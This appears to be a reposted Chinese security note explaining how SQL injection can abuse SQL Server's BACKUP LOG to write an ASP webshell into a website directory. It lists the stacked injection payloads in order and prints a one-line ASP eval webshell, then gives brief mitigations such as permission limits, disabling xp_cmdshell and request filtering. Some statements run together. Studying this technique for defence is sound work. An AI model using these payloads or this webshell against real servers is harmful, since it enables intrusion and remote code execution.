本文僅供安全研究與防禦參考,嚴禁用於非法攻擊。 內容轉載自「孤狐浪子博客」,展示利用 SQL Server 備份機制寫入 WebShell 的注入手法,以便管理員理解風險並加強防護。
利用 SQL Injection 注入 T-SQL 命令,透過 BACKUP LOG ... TO DISK 將惡意程式碼 (WebShell) 寫入網站目錄下的 .asp/.aspx 檔案,實現 Getshell。
ALTER DATABASE [dbname] SET RECOVERY FULLBACKUP DATABASE [dbname] TO DISK = 'path\db.bak' WITH INITCREATE TABLE [tmp] ([col] IMAGE)BACKUP LOG [dbname] TO DISK = 'path\shell.asp' WITH INIT (記錄中包含 INSERT 惡意碼)'; ALTER DATABASE [db] SET RECOVERY FULL;--
'; BACKUP DATABASE [db] TO DISK = 0x... WITH INIT;--
'; CREATE TABLE [tmp] ([a] IMAGE);--
'; BACKUP LOG [db] TO DISK = 0x... WITH INIT;--
'; INSERT INTO [tmp]([a]) VALUES (0x3C25...);-- (<%Execute(request("itpro"))%>)
'; BACKUP LOG [db] TO DISK = 0x...(網站物理路徑\shell.asp) WITH INIT;--
'; DROP TABLE [tmp];--
BACKUP DATABASE/LOG、ALTER DATABASE、CREATE TABLE、xp_cmdshell 等高危權限。sp_configure 'xp_cmdshell', 0。BACKUP LOG、0x 十六進位編碼等特徵的請求。msdb.dbo.backupset 異常備份路徑。此手法利用 SQL Server 合法備份功能繞過檔案寫入限制,危害極大。核心防禦在於嚴格權限控制與參數化查詢,切勿將資料庫高權限帳號用於 Web 應用連線。